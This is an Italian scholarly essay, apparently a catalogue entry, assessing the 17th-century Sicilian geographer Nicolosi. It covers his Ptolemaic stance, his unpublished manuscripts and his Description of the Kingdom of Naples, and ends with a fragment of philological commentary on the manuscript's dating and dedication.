Tra gli autografi che si conservano nella Biblioteca Casanatense di Roma vi sono i Ragguagli di un viaggio in Germania, sotto il cui titolo sono raggruppate 20 lettere scritte al cardinale Rinaldo d’Este, duca di Modena, in cui il N. descrive il viaggio fatto come accompagnatore del Principe Massimiliano di Baden. Invece nel Ms. 674, composto di 304 fogli cartacei, corrispondenti a circa 600 pagine di testo, sono raccolti con il titolo recente di Miscellanea di opere geografiche altri suoi scritti inediti, redatti parte in lingua spagnola, parte in italiano, attinenti alcuni alle coste e a varie regioni della Spagna, altri alle coste adriatiche e ioniche della penisola balcanica, altri ancora a stati e staterelli italiani.
Tra questi ultimi lavori assumono particolare rilievo una Descrizione Geografica del Regno di Napoli, cui riserveremo un particolare commento.
Suscita ancora qualche perplessità se non imbarazzo discorrere di un autore forse troppo celebrato in vita (ma anche troppo dimenticato dopo la morte), soprattutto per la ragione che egli, in un’epoca in cui la teoria copernicana faceva sentire già le sue superiori ragioni, abbracciò – apparentemente intitubante – quella tolemaica. Certamente, l’adesione al sistema cosmografico tradizionale ha finito per condizionare in negativo il giudizio dei posteri anche sul contributo più squisitamente geografico che il N. seppe dare (da ultimo, sul versante cartografico, cfr. VALERIO, 1993, pp. 66-67, note 104 e 111).
Ma se ciò è esatto specie per l’epoca immediatamente successiva, io credo che la ragione vera per cui il nome di questo “reprobo” è rimasto nel dimenticatoio, a parte i tentativi campanilistici di riesumazione, risiede nel fatto che gran parte della sua opera resta ancora sconosciuta, non avendo superato lo stato di manoscritto.
Dispiace pertanto annotare che anche in epoca recentissima il nome del N. venga “saltato” a piè pari, quasi non facesse parte della storia, in due contributi pur ricchi di chiavi interpretative nuove e di felici spunti sulla storia della cartografia e delle conoscenze geografiche (QUAINI,1976, pp. 5-24; TUCCI, 1973, pp. 47-85). Purtroppo la passione ideologica, da qualsiasi banda provenga, comporta – sembra quasi ineluttabilmente – delle forzature interpretative e delle connesse dimenticanze, per cui, deposte le necessarie cautele dello storicismo, ci si arroga il diritto di selezionare a posteriori i nomi determinanti per quella che si vuole la sola storia vera e progressiva.
Il Nostro é rimasto forse vittima di un teorema vizioso (non interessa leggere i suoi inediti perché, tanto, é un retrivo...), per cui non deve esser lecito a nessuno “confinarlo” prima di aver conosciuto i suoi manoscritti. Forti di tale consapevolezza, ci sforzeremo di non cadere nella trappola di separare artificiosamente meriti e demeriti del N., ma cercheremo di darne un profilo unitario e per quando possibile spassionato, in base a quello che è già noto nonché ai nuovi elementi di valutazione emersi da una recente trascrizione fatta, da P. Cantalupo, della Descrittione Geografica del Regno di Napoli (Aversano e Cantalupo, 1987, pp. 413-439), e alle ricerche di Valerio (1993, pp. 63-67).
Il N. é uomo del suo tempo e, date le particolari circostanze della vita e degli uffici che dovette svolgere, non dobbiamo arrossire per quelli che ci sembrano limiti gravi del suo operato e del suo universo mentale, pretendendo che potesse essere altro da quello che realmente fu.
Conviene subito sbarazzarsi, allora, di quella palla al piede che è il suo tolemaicismo. Dire che era un religioso (per ordinazione sacerdotale, ma non meno dell’intimo), ruotante inoltre attorno alla corte pontificia e al potere dell’epoca, o che fu un eccezionale insegnante educatore in tempi in cui gli Otto volumi di Tolomeo, dopo quindici secoli, continuavano a costituire i fondamentali libri di testo in materia geografica, è il minimo di giustizia che gli si possa rendere, non per trovargli delle attenuanti, ma per dovere di storicizzare i personaggi del passato anche nel loro «vissuto» quotidiano. Sia chiaro, non si può ascrivere a merito del cosmografo il suo atteggiamento, ma va tenuto presente che dal punto di vista della geocartografia, da lui praticata, professare il copernicanesimo o il tolemaicismo astronomico era pressoché ininfluente.
Che esista una netta separazione fra geografia e astronomia, il N. ci tiene a sottolinearlo presentando la seconda parte dell’Hercole: «Nella seconda si considera l’istessa Terra secondo la formalità, e la distribuzione, che le ha dato l’Intendimento, e Discorso Humano, restringendo in pochi problemi, e brevissimo discorso tutta la speculazione della Geografia; senza uscire dalla circonferenza de’ principj della medesima: e perciò in questo luogo quegli assiomi, quelle Dottrine, che il Geografo suole pigliare dall’Astronomia, solamente si suppongono (non si dimostrano); già che a questo bisogno supplisce bastamente la Teorica del Globo Terrestre; la quale, piacendo a Dio, si ristamparà accresciuta, et riordinata dal medesimo Autore» (riporto da DI MATTEO, 1977, pp. 56-7). Insistere sui limiti delle discipline è, a mio parere, uno dei tanti segnali (ne vedremo altri) attraverso cui questo prelato dalle mani legate lasciava intendere le sue autentiche profonde convinzioni. E chissà che nella preventiva ma non realizzata ristampa della Teorica l’A. non avrebbe avuto 1’ardire di spingersi oltre!
Di fatto, inoltre, accettando egli col necessario spirito critico e traducendo nelle sue opere cartografiche e descrittive le nuove informazioni che navigatori e viaggiatori riportavano (si noti che ebbe, per converso, parole di rampogna verso coloro che tenevano nascoste le loro scoperte, consapevole che il sapere deve essere patrimonio di tutti) mostrava di essere proiettato più di quanto non si pensi verso il futuro, di aver interiorizzato la fondamentale veste umanistica dell’homo faber (accetta infatti l’influsso degli astri per la parte biologica, non per quella spirituale dell’uomo), restituendo sul piano pratico il mal tolto su quello dei “massimi sistemi”.
Alla metà del Seicento, com’è noto, era vivo il problema tipicamente rinascimentale di accordare la teoria con la pratica, l’astrazione e la sistemazione da tavolino coi risultati dell’osservazione diretta, la «mente» con la «vista». Sul versante geocartografico la soluzione non poteva essere elusa o rinviata, visto che i soli committenti di rappresentazioni-descrittive del territorio erano i detentori del potere politico o religioso, pressantemente interessati ad avere prodotti sempre più affidabili e aggiornati. Proprio su questo piano il N. acquisì dei meriti, cui non era estranea la conoscenza (anzi l’adorazione) di Tolomeo per quello che rappresentava, in senso progressivo, sul piano cartografico: una sicura base matematica e astronomica per scientifizzare la cartografia empirica. Ma di ciò a fra poco.
Per concludere sull’argomento cosmografico, non dimentichiamo che il geografo siciliano era comunque un ammiratore dell’opera rivoluzionaria che proprio in quegli anni il Galilei andava compiendo nel campo degli studi astronomici, come risulta da una lettera diretta al conte di Navailles, che è poi un trattatello (Breve ristretto del pensiero del Signor Galileo Galilei intorno al flusso, et reflusso del Mare). In proposito è lecito condividere il parere del Savasta: «Qui il Nicolosi segue puramente e semplicemente le teorie copernicane, benché non come tesi ma come ipotesi [...] Ma [...] lo fa con sennate parole che mostrano il suo attaccamento alla Chiesa e il suo amore alla scienza; moderazione, la quale non influì forse meno al trionfo della verità di quel ch’abbia fatto la virulenza scusabile del sommo Astronomo» (SAVASTA, 1898, p. 93).
Ma a parte il forzoso escamotage del verbo «suppongo» al posto di «affermo», attraverso cui ci giunge chiaro il messaggio nicolosiano altrimenti inconfessabile, c’è di più: egli non tralasciò di studiare le opere del Galilei e, anzi, di una di esse (il cosiddetto Trattato della Sfera) diede una trascrizione manoscritta prima ancora che fosse ufficialmente dato alle stampe, trascrizione che fra l’altro si rivelò utile per una edizione delle opere di quello scienziato uscita dal 1891 (SAVASTA, 1898, p. 125). Sulla effettiva mano che ha stilato il testo galileiano bisognerebbe comunque indagare per accertare se questa «presenza» non si debba a qualcuno che, mosso da caritevoli intenti, abbia voluto predisporre per i posteri dei contrappesi al tolemaicismo del Nostro. Ci sarebbe anche da indagare se fra le argomentazioni a sostegno della necessità di collocare il nord in alto sulle carte (cfr. Lettere al Duca di Bracciano Paolo Orsini del 24 giugno 1648) non ci sia un’implicita ma riconosciuta – e non solo supposta – accettazione del moto di rotazione terrestre.
Si è già detto del problema, teorico e applicativo, esistente a metà del XVII secolo ma posto sul tappeto dalla cultura umanistica, della conciliazione fra speculazione teorica e osservazione empirica. Orbene, si può affermare che, per naturale versatilità e per la particolare biografia prodotta dai tempi e dalle circostanze, il N. rappresentò complessa sintesi del «corografo umanista» alla Leandro Alberti e del «cartografo ufficiale di Stato» tipo Magini.
Anzi si potrebbe sostenere che il N. sia stato qualcosa di più che il semplice risultato intermedio di una dialettica che, attraverso l’esperienza illuministica mirata a risolvere problemi della società civile e della «felicità pubblica» e il tentativo ottocentesco di appianare finalmente il contrasto fra la geografia dotta e quella empirica, si protrarrà fin quasi ai nostri giorni. Egli ci ha messo del suo, passando non inerte attraverso questa problematica e dando una spinta originale e progressiva. Mi pare cioè che il principio di far precedere insieme teoria e pratica abbia anche un risvolto moderno, nel senso che il N. non cercò solo di assorbire il nuovo delle vecchie teorie, ma anche di organizzare in sistema inedito la messe delle acquisizioni fatte.
Senza dubbio, quando si guarda a questa biografia, a questa personalità ligia al “sistema”, al contenuto di alcuni suoi scritti, sembra di trovare la conferma delle motivazioni che hanno alimentato le polemiche degli anni ‘70 del secolo scorso sulla «Geografia degli Stati maggiori e dei professori». All’origine di tali polemiche, com’è noto, ci fu tutto un nuovo modo di far geografia, che si espresse in una ricca letteratura e precisi punti di riferimento (mi limito, in proposito, a segnalare: LACOSTE, 1977. Si veda anche il n. 0 della rivista Hérodote Italia, filiazione italiana della omonima rivista francese, della Bertani Ed., Verona, 1978, e i successivi numeri).
Uno che disegna carte su committenza di regnanti (affrettandosi a finire il prodotto in occasione di operazioni belliche), di papi (per svolgere opera missionaria in paesi lontani), che più volte dichiara esplicitamente il fine militare del suo lavoro (fra i tanti esempi, basti ricordare che, nella dedica della Descrittione del Regno di Napoli, egli offre le sue tavole commentate «representanti il detto Regno nella qualità di come possa essere offeso, et difeso estrinsicamente, ed intrinsicamente»), che privilegia certe informazioni utili alla difesa, all’ordine interno, al prelievo fiscale, alla religione (intesa «in temporalibus» più che in «spiritualibus»), che compone volumi sull’arte militare o descrive con accuratezza gli equilibri politici e di forza fra i vari stati europei, pare riassumere in sé tutto quanto di male ancora si afferma su certe istituzioni (multinazionali, gerarchie militari, cattedre universitarie, ecc.).
Il fatto è che, se non fosse esistita quella geografia, con tutti i suoi limiti e le sue compromissioni, non ci sarebbe stato forse più niente su quell’orizzonte ed oggi non avremmo neppure con chi prendercela, giustamente o ingiustamente che sia. A volersi disporre secondo certe angolazioni polemiche, il discorso sarebbe già chiuso. Si ha invece il dovere di capire, sforzandosi affinché la critica del passato non sia sterile. E, per restare al N., anziché accusarlo soltanto, sarà più utile scoprire come abbia cercato di risolvere il problema, ancor oggi scottante per chi fa professione di geografo, del rapporto col potere e con la società degli uomini, quindi dei limiti ed utilità della geografia. La mia impressione, confortata anche dalla sua solo apparentemente granitica tolemaicità, è che egli abbia cercato di sfruttare tutti i margini di libertà, pur esigui, consentitigli dal contesto culturale e dalla posizione di precettore, geocartografo di Stato, diplomatico, prelato, scienziato ufficiale.
Egli vuole offrire, col suo prodotto grafico e descrittivo, «Notitie opportunissime in un Conseglio di guerra (e di Stato) per tirare conseguenze fondate, et per fare provisioni bene accertate», ma ci tiene pure a dire che queste conclusioni non è il geografico a doverle trarre. Più oltre, infatti, si legge: «Tanto sia detto per quello, che della difesa del Regno di Napoli si contiene dentro la Sfera della Geografia (Tirare cento altre affini et importanti conseguenze è carico di chi preside, et di coloro che attendono al governo». Come dire che il geografo può pure rispondere a una ben precisa e finalizzata committenza, ma il suo compito è nettamente separato (anche eticamente: quanto i biografi riportano sull’animo mite e la religiosità del Nostro autorizza a supporlo) da quello degli strateghi, amministratori o responsabili della cosa pubblica.
Ma c’è un altro aspetto che bisognerà mettere in conto quando, anche con tutta la buona fede, si condanna “l’occhio del potere”: la paurosa ignoranza di aggiornate cognizioni territoriali, che sembra quasi una costante nel tempo. Per il XVII secolo se ne ha piena conferma scorrendo la Descrittione geografica del Regno di Napoli, che è un assemblaggio di notizie faticosamente raccolte – lo si avverte – e ben lontane dal constituire un discorso organico, un quando completo e ragionato della geografia viceregnale e provinciale.
È sconcertante anzi rilevare che della carta, presumibilmente maginiana o del Cartaro, della provincia di Bari mandata in schizzo agli informatori periferici, il Nostro ignora cosa siano oggetti geografici segnati in rosso e (madornale!) non conosce l’esistenza delle Murge, o, meglio, non sa a chi credere: se a certe figurazioni riportanti «un ramo del Monte Appennino» snodantesi dai confini della Basilicata fino alla Terra d’Otranto o alla pur diffusa opinione che in quella provincia non ci sono montagne. Alla ignoranza delle fattezze continentali del territorio faceva contrappunto la povertà di conoscenze della nautica mediterranea, cartografica e portolanica: è lo stesso autore a dichiararlo, quasi come alibi al suo scarso contributo scientifico a riguardo.
Anche all’attuale si riconosce la disinformazione della «geografia dei professori». Se questo è vero, la connivenza anche inconscia col potere è un’accusa almeno parzialmente contraddittoria. Più verosimile è forse che lo sforzo di chi produce conoscenza è un valore che va al di là di una visione dei rapporti umani limitata alla dialettica sfruttatori-sfruttati, rispondendo a bisogni più profondi e in parte disinteressati dell’essere umano (esclusi gli uffici-studio di certe società o simili). Se il N. e tanti altri hanno avuto a disposizione un canale obbligato per far progredire il sapere, perché mai giustiziarli soltanto e non considerarli almeno per gli apporti positivi forniti?
In tale ottica è apprezzabile, se non altro perché ha fatto testo per il futuro (costituendo ancor oggi fondamento metodologico del fare e dell’insegnare geografia), l’abbinamento nicolosiano fra descrizione esplicativa e rappresentazione cartografica. Anche la triplice distinzione della nostra disciplina in matematica, fisica e politica risale al N., quanto meno in termini di consolidamento di opzioni precedenti. Egli costituì infatti una presenza attiva, un vero centro di raccolta, selezione critica, rielaborazione e divulgazione delle conoscenze più varie, bisognevoli talvolta di severo controllo critico.
Ne fa fede l’escogitazione del meridiano mobile, un sistema per l’immediata individuazione dei luoghi nulle carte di qualsiasi scala, che resta valido nella sostanza e universalmente accettato in tutti gli atlanti attuali (vedi oltre per approfondimenti); e così pure il perfezionamento in senso policonico della proiezione globulare (all’epoca già adottata), realizzato attraverso l’introduzione di paralleli circolari, sì da attenuare le deformazioni del disegno dovute alla traduzione in piano della superficie terrestre che è sferica (DI MATTEO, 1977, p. 59). Della effettiva validità di tale modifica tecnica fanno fede le opere di geografi successivi anche rinomati, che si servono della proiezione globulare del N., come i francesi Pietro Duval e Guglielmo de l’Isle, nonché l’inglese Arrow Smith.
Queste novità possono sembrare poca cosa solo a chi non ha senso della storia e del faticoso cammino della scienza, ma se rapportate ai tempi assumono una rilevanza ben più pregnante.
L’analisi dal punto di vista geografico della Descrittione del Regno di Napoli e della parte speciale dedicata al Principato Citra, come si può desumere dal commento più segnatamente filologico che segue, sembra confermare positivamente le valutazioni e le impressioni fin qui esposte, consentendo ulteriori riflessioni. Dalla lettura non ho ricavato la conclusione che si tratti di un discorso consequenziale ed organico, sia perché siamo in presenza di un lavoro incompleto nonostante le tre mani successive, sia perché i manoscritti sono stati raccolti disordinatamente. Un indirizzo espositivo si riesce comunque a ricavare e, con esso, il funzionamento del laboratorio mentale e pratico del Nicolosi.
La Descrittione copre larga parte dello scritto discorsivo riportato alle stampe da chi scrive e dal Cantalupo (1987) e, nei limiti già annotati, contiene tuttavia non pochi elementi conoscitivi, offrendo anche alcuni spunti interessanti. Viene ripetuto, intanto, quel luogo comune – che ha tanto pesato sulla comprensione realistica della questione meridionale e contro cui si scagliò Giustino Fortunato – di un reame baciato dalla natura ed invidiabile per estensione, clima e suoli, tanto da produrre «da per tutto [eccellentemente] e in abbondanza, grazie anche a molti ed eccellenti abitanti». Ma pure in questo caso occorre segnalare come apprezzabile cautela di uno spirito critico che talora sa anche fare a meno dell’iperbole seicentesca per non mancare di rispetto alla verità, il particolare attinente alle conclusioni: prima esse sono tratte partendo da quelle premesse («e perciò è ricchissimo») e poi ritirate dal testo.
Poco è concesso alla geografia fisica, che sembra anzi quasi ignorata (due righe per dire che esiste l’Appennino con molti fiumi piccoli e grandi sfocianti nei mari Inferiore, Superiore e Ionio), mentre sono riportate con precisione: distanze fra vari punti, stati confinanti, divisione amministrativa, massimi organi giudiziari, numero di città, terre e castelli (quasi tutte feudali, poche regie, avverte l’A.), di chiese cattedrali, di vescovadi e arcivescovadi fondati appena da un secolo, con molti dettagli sulle entrate fiscali ordinarie e straordinarie pagate alla Regia Corte o sulla struttura burocratico-amministrativa. Se ne ricava uno spaccato della società tale che, nella dialettica regnanti-baroni-popolo è quest’ultimo a soccombere già solo in termini fiscali, giacché le cosiddette terre franche sono esenti da tributi solo per i feudatari, i quali – dice il N. con un pizzico di risentimento non saprei se più democratico o lealista – «se l’appropriano» e «l’esiggono, come di propria ragione per l’arbitrio che hanno... ».
Aggiornati appaiono i dati sulla popolazione che il N. ebbe forse modo di conoscere prima che fossero ufficialmente pubblicati (in totale 3.000.000 di regnicoli), decimata dopo la peste del 1656 di più di una quinta parte, di cui 200.000 morti solo nella capitale (e casali), che annoverava in precedenza 600.000 anime. Come arricchimento del dibattito sul rapporto fuochi/abitanti e sul «moltiplicatore» da scegliere, si può calcolare, dai dati offerti dal N., che il fuoco era costituito da circa 5 anime.
La massa delle informazioni si completa, sul piano esclusivamente militare, col numero di fanti e cavalieri (60.000 esentasse!), quindi delle fortezze reali concentrate sull’Adriatico, delle torri costiere, dei porti ricettivi di armata navale (equamente distribuiti fra il Tirreno e gli altri due mari), con la consistenza del presidio ordinario e il numero di legni. Brevi righe sono concesse, infine, alle quattro strade reali che dallo Stato della Chiesa immettevano nel Regno di Napoli e a quella che da Francavilla [Fontana] porta a Napoli: la descrizione ha alcunché degli itineraria adnotata romani, informando sulle tappe successive (coi tempi di percorrenza), sulla grandezza dei centri attraversati, sulla presenza di osterie, alberghi, stalle, ecc. Schematizzato come un grafo è il percorso del procaccio «da Napoli a Civita di Chieti, e l’Aquila», che attendeva forse di essere stilato nella stessa forma discorsiva dei precedenti itinerari. Nel ms. della Casanatense tali descrizioni, pur succinte, sono forse presenti per tutte le strade principali del Regno, per cui sarebbe interessante riportarle alla luce.
La restante parte della trascrizione fatta dal Cantalupo riguarda l’esplicazione dei criteri con cui il N. ha cartografato il reame e una serie di istruzioni agli informatori periferici (presidi di provincia, vescovi, persone dotte, ecc.) circa i dati che gli devono fornire, il tutto inframezzato da circonvoluti e untuosi – ma tipicamente seicenteschi – atti di omaggio ai committenti. È qui che si accenna anche a carte nautiche fatte per mostrare «tutte le corse marittime fatibili da squadre navali a favore, et contra», in un momento in cui era ripreso il conflitto franco-spagnolo dopo il trattato di Westfalia del 1648 (VALERIO, 1993, p. 64). Vi si esemplifica anche l’uso del meridiano mobile, la cui invenzione – è da supporre – fu stimolata forse dalle necessità pratiche di quella guerra.
Le istruzioni, in realtà, ribadiscono i criteri di esecuzione che si ricavano dall’esame delle cose realizzate dal geografo paternese, ma aggiungendo particolari di una certa importanza. La base del lavoro, come ragionevolmente si presume, dovette essere la carta del Magini (o forse del Cartaro), inviata probabilmente in schizzo agli informatori. Il N. desiderava che essa fosse migliorata o rettificata con il riporto grafico dei siti o (quando i corrispondenti non erano pratici di disegno) con l’indicazione delle miglia intercorrenti fra l’uno e l’altro abitato, utilizzando simboli particolari (ancora oggi in uso, magari con significato diverso) per città murate, abbazie e castelli, indicando le abbazie nullius, scogli, isolotti, torri, distanze dei vari luoghi dalla cita cattedrale, strade battute dai procacci, distanza delle «poste» e delle città principali fra loro, porti, loro commercio, «bandiere» delle navi che li frequentavano. Rendendosi conto delle difficoltà dei suoi interlocutori per esaudire in tempi brevi tutti i suoi desiderata, il geografo insiste sull’esigenza primaria della localizzazione degli oggetti geografici, punto sul quale attende pronta risposta.
A tal proposito il N. non precisa se le distanze siano da considerare in linea d’aria o per strada, ma si dimostra fiducioso che 1’incastro creato dalla posizione di ciascun abitato denunci automaticamente gli eventuali errori. Se si pensa che il problema fu anche quello di conciliare, nel suo reticolato, posizione relativa e posizione astronomica dei luoghi, si ha l’idea di quali difficoltà tecniche egli dovette superare. Non si può, quindi, disconoscergli rigore scientifico e spirito moderno nel porre come pregiudiziale il dato localizzativo, ancora ritenuto essenziale nella geografia moderna, perché implicito nel principio di osservazione. Che le esigenze militari (tiro d’artiglieria, trasferimenti delle truppe da luogo a luogo, ecc.) abbiano indotto il Nostro a tanto sforzo di precisione non gli toglie certo meriti.
Fra l’altro, il N. non manca di chiedere una breve illustrazione sulla «singolarità» dei luoghi, dandone qualche esemplificazione, del tipo di quelle ben più articolate descrizioni dei centri dell’Isola e Regno di Sicilia che si possono leggere nell’appendice al volume del Di Matteo (1977, pp. 94-104). Qui le concessioni storico-antiquarie sono parecchie (non manca mai il nome latino dei centri, quando noto), ma è anche implicito il criterio idiografico cui si è ispirata tutta la geografia regionale fino ai nostri giorni. Sarebbe interessante studiare più a fondo quanto questi prototipi descrittivi abbiano fatto testo in seguito, specie nelle voci di certi dizionari (Sacco, Giustiniani, ecc.), arrivando alle enciclopedie moderne.
Non si può tacere, infine, una richiesta informativa riguardante i fondi rustici: si accerti chi è il possidente, quale «la distanza dalla Città, o Terra del suo Territorio, con notarvi di quelli si può sapere se il feudo consiste nel puro terreno fruttifero, overo vi è habitazione, o Casale». E certo, dunque, che se il N. avesse potuto completare la sua opera, avremmo avuto un quadro preciso di tutti i centri o nuclei abitati nel regno, nonché della distribuzione della popolazione, compreso lo stato di vitalità di alcuni insediamenti successivamente scomparsi.
Per quantità e qualità di informazioni, la parte descrittiva della relazione sul Principato Citra è abbastanza deludente, riducendosi a una ventina di righe, in cui schematicamente si annotano i confini, fiumi principali (solo il Battipaglia, cioè l’attuale Tusciano, e il Selo), monti (limitati a quelli di Postiglione e di Capaccio), populationi (= centri), con l’elenco delle sedi arcivescovili e vescovili, fortezze, torri alla marina, fuochi al 1669 e relative entrate fiscali, diversi introiti per adoa e arrendamento dei baroni, per affitti di passi, estrazioni di botti ed altri legnami. Notizie succintissime, come si vede, a prevalente carattere militare, fiscale e religioso. È invece assai interessante, come più diffusamente si metterà in rilievo nel Commento che segue, l’elenco delle località, con le coordinate, 1’indicazione dei fuochi al 1595 e al 1669 e tutta una serie di altre informazioni relative a vescovadi, tipi di giurisdizione, torri, fiumi, capi, golfi, porti, ripari, isolotti.
A margine sono segnati i casati cui erano infeudati i luoghi, un dato assai utile per capire la storia e la geografia dei centri, ma che i geografi hanno in genere sottovalutato, privilegiando statistiche demografiche e attività economiche caratterizzanti. Quanto invece sia stata condizionante per l’organizzazione del territorio la presenza feudale lo dimostra, per il nostro principato, il fatto che ben 149 località su 250 (il 60% circa) sono sotto la giurisdizione di un barone.
Assai apprezzabile è anche la deliberata scelta del N. di riportare più trascrizioni toponomastiche dello stesso insediamento (es.: Rutino, o Rotino; S. Arseri, o S. Arziero; S. Mango Pedimonte di Salerno, o S. Mango Pimonte prope Salernum) per consentirne la più esatta identificazione. In tempi in cui si era passati dall’elencazione fatta per ordine geografico a quella alfabetica, si poteva ancora più facilmente incorrere in errore, confondendo sedi umane diverse, ma fra loco somiglianti nei nomi. Errori simili, purtroppo, ancor oggi è dato riscontrare presso studiosi che li ripetono acriticamente dalle fonti, per nulla preoccupati dalla precisione ubicativa, come se la verità storica potesse prescindere da quella topografica e topologica: la pignoleria nicolosiana è un esempio quanto mai educativo a riguardo.
È lecito attendersi, quindi, un notevole contributo alla toponomastica, una volta che saranno rese a stampa le numerazioni dei fuochi per tutte le province, come si auspica. Aggiungo che tanta precisione si rivela utile anche per individuare alla data del 1669 alcune sedi oggi considerate scomparse, che già allora difettavano di abitanti, pur figurando in qualche caso possedute da feudatari (ad es.: Fiumicello, Montanaro, Pantoliano, Puglisi, Torricella e perfino Pesti), oppure erano in via d’estinzione (S. Severino di Cammarota) magari per inglobamento in centri vicini urbanisticamente espansivi (Spio).
Certo, se si compara l’apporto e l’approccio del N. a quelli di epoca illuministica, si avvertirà l’assenza di impegno civile, di preoccupazioni dello stato del pubblico benessere, né si troverà nella descrizione del territorio il fine sociale di ben governarlo. Ciò non vuol dire che gli fece difetto la tensione etica, l’impegno scrupoloso nel proprio lavoro. Agli esiti illuministici, del resto, si arriverà anche attraverso il geografo siciliano. La sua esperienza può essere ritenuta, infatti, una tappa di avvicinamento, un necessario punto di raccordo fra tradizione e innovazione, per il senso della «aggiunta» al sapere precedente da lui dimostrato e la finalizzazione applicativa (benché dettata da esigenze militari e fiscali), oltre che per la cultura pluridisciplinare dimostrata, pur coi limiti del gusto antiquario.
Un’ultima riflessione: forse ai lettori di questa scheda sembrerà riscontrare un soverchio entusiasmo per l’A., che ha comportato una eccessiva valorizzazione della sua incidenza storica; sarà anche vero, ma risponde all’intento di creare un opportuno antidoto a una precedente penalizzazione del N., che può far recuperare nei suoi confronti la spassionata disponibilità sempre necessaria alla comprensione del passato.
Se veri limiti interpretativi ci sono in queste pagine, crediamo, essi dipendono piuttosto dalla mancata conoscenza di tutto il corpus delle opere dell’illustre siciliano. È possibile superare quei limiti solo dando alle stampe i manoscritti della Casanatense, in modo da arrivare a un’edizione critica di tutti gli scritti nicolosiani. Potrebbe emergere qualcosa di più e di meglio – ripeto – di quanto finora non si sappia. Il discorso è riaperto: tocca ad altri – geografi solo per la loro parte – continuarlo.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Un abbozzo esplicativo di un disegno e di tre matrici di fogli, attribuibili al Nicolosi, si trova in Valerio, 1993, pp. 65-66, dove compaiono anche le relative illustrazioni.

Fonti d’archivio:

Bibliografia:
Lettere al Duca di Bracciano Paolo Orsini del 24 giugno 1648.

Rimandi ad altre schede: fatto quest’ultimo che non deve meravigliare visto le possibilità di informazioni del Nicolosi e quanto egli stesso scrive nelle aggiunte del 1669 sulla necessità di aggiornare il più possibile i dati feudali. Da tutte queste osservazioni appare sufficientemente dimostrato che anche l’intervento C é di mano del Nicolosi e che il nome di Medinaceli è riportato erroneamente per Medina de Rioseco; scambio possibilissimo ove si consideri che nella seconda metà del Seicento tra le diverse case ducali spagnole che si intitolavano dalle varie Medina della penisola iberica (Medinaceli, Medina de las Torres, Medina de Rioseco, Medina-Sidonia) senz’altro la più famosa in Italia era quella di Medinaceli, di cui il più prestigioso rappresentante era stato fino a quel tempo Juan II de la Cerda, duca di M., viceré e capitan generale di Sicilia e dell’esercito cristiano d’Africa (1557-65). Cosicché la committenza sarebbe avvenuta negli anni 1644-46, prima dell’elezione di Leopoldo I ad imperatore, come risulta dalla dedica; che poi la notizia sia stata aggiunta al testo solo nel 1669, si spiega con la necessità di completare l’opera anche sotto l’aspetto della motivazione esterna. Questo spiega anche perché tutta l’opera, che è di premessa e di supporto alle tavole geografiche, è anche improntata ad un’attenta analisi dei fatti militari e dei problemi della difesa navale delle coste, con l’esame della possibilità dei singoli porti sia sotto l’aspetto della sicurezza che della capacità. Nella descrizione generale del Regno, diverse annotazioni restano prive di quello sviluppo che avrebbero certamente avuto a lavoro ultimato: se dobbiamo anche imputare alla dispersione di fogli del manoscritto qualche lacuna nell’opera, quale il paragrafo sulla Genealogia de’ Re, di cui è notizia nel f. 101, certamente la parte riguardante gli itinerari stradali è monca perché non portata a compimento. Del resto il tono programmatico di una parte dell’intervento del 1669, l’ultimo in ordine di tempo, lascia chiaramente intendere che sia la parte cartografica sia il «Libretto» non avevano ancora raggiunto la loro conclusione. Il Nicolosi, come già accennato, afferma di aver adottato per la compilazione delle tavole il Meridiano mobile, nuovo, a suo dire, consistente essenzialmente nel riporto lungo i margini della carta geografica della latitudine e della longitudine espresse in gradi e minuti, punti di partenza per individuare agevolmente sulle tavole i singoli centri. I1 meridiano mobile, infatti, non é altro che il criterio in base al quale un determinato punto sulla carta geografica é costantemente individuabile facendo riferimento all’intersezione delle linee che rappresentano i meridiani ed i paralleli. Tale principio era implicitamente contenuto nella cartografia precedente il Nicolosi, in quanto le rappresentazioni cartografiche recavano già lungo i margini le indicazioni circa la longitudine e la latitudine, divise in gradi e minuti; spetta però al Nostro l’aver intuito la possibilità di utilizzare sistematicamente la maglia degli intrecci fra meridiani e paralleli per facilitare la ricerca dei luoghi, fissandone il metodo ed integrando le carte con elenchi alfabetici delle località, seguite dagli estremi delle coordinate geografiche necessarie alla loro individuazione. La prima parte dello scritto chiude con la dedica dell’opera al re d’Ungheria Leopoldo I, eletto poi Imperatore germanico nel 1658, qui fatto oggetto di sperticata adulazione cortigiana secondo il costume dell’epoca. In calce vi è una prima datazione: Roma, 30 novembre 1655; poi sostituita dalla data: 2 febbraio 1666, che il Geografo appose dopo essere intervenuto sulla prima stesura, aggiungendo, correggendo e modificando il testo, così come lo rimaneggiò ancora nel 1669, poco prima della sua morte, seguita, come anzidetto, ai principi dell’anno successivo e che gli impedì di portare a completamento l’opera. Quasi certamente la prima redazione di quest’opera, quella del 1655, accompagnò l’offerta a Filippo IV ed a Leopoldo I di due copie della Carta del Regno di Napoli realizzato nel 1654, circa la quale lo stesso Nicolosi (Guida allo studio geografico, 1662, in prefazione) ricorda:...nell’anno 1654 con l’occasione della Guerra, costrussi una Descrittione del Regno di Napoli, spiegata in una ricca Tavola della grandezza, e misure di dodici, et otto palmi; e della quale un esemplare fu drizzato a Sua Maestà Cattolica, e l’altro alla Maestà Cesarea hoggi regnante, all’hora Re d’Hungaria. Il testo, proprio a motivo di questi successivi rimaneggiamenti, che comportarono cancellature, sovrapposizioni di scrittura, annotazioni marginali nonché richiami ad altre pagine, si presenta di difficile ricomposizione, anche perché la raccolta delle carte, fatta dopo la scomparsa del Nicolosi, non fu operata criticamente, tenendo conto dei richiami appostivi dell’autore, che avrebbero potuto guidare una più oculata disposizione della sequenza dei fogli nel corpo dell’attuale volume miscellaneo. Pertanto le pagine che interessano la prima parte del Trattato sui Regno di Napoli, così come vi si trovano collocate, raggruppate solo dall’argomento, rendono difficile al lettore ricostruire la successione logica all’interno del testo. È evidentemente questo il motivo per cui il contenuto dello scritto é stato in parte frainteso. Il Savasta (1898, p. 7) fu il primo a scrivere che la Descrizione fu ... offerta all’Imperatore Leopoldo I, e poi successivamente, tre volte rifatta, ai tre Viceré, il Conte del Castrillo, quello di Pignoranda, e il Cardinal d’Aragona, dandoci con quest’ultima una notizia del tutto destituita di fondamento. Ma, mentre egli si preoccupa di precisare più oltre (ivi, p. 58) che Leopoldo I era allora soltanto Re d’Ungheria, la proposizione è accolta acriticamente dal Giardina (1925, p. 30), che scrive testualmente ed univocamente: dedicata all’Imperatore Leopoldo I, e due volte ripetuta per altri due personaggi (!?). Lasciamo da parte alcune altre gratuite e fantasiose affermazioni dello 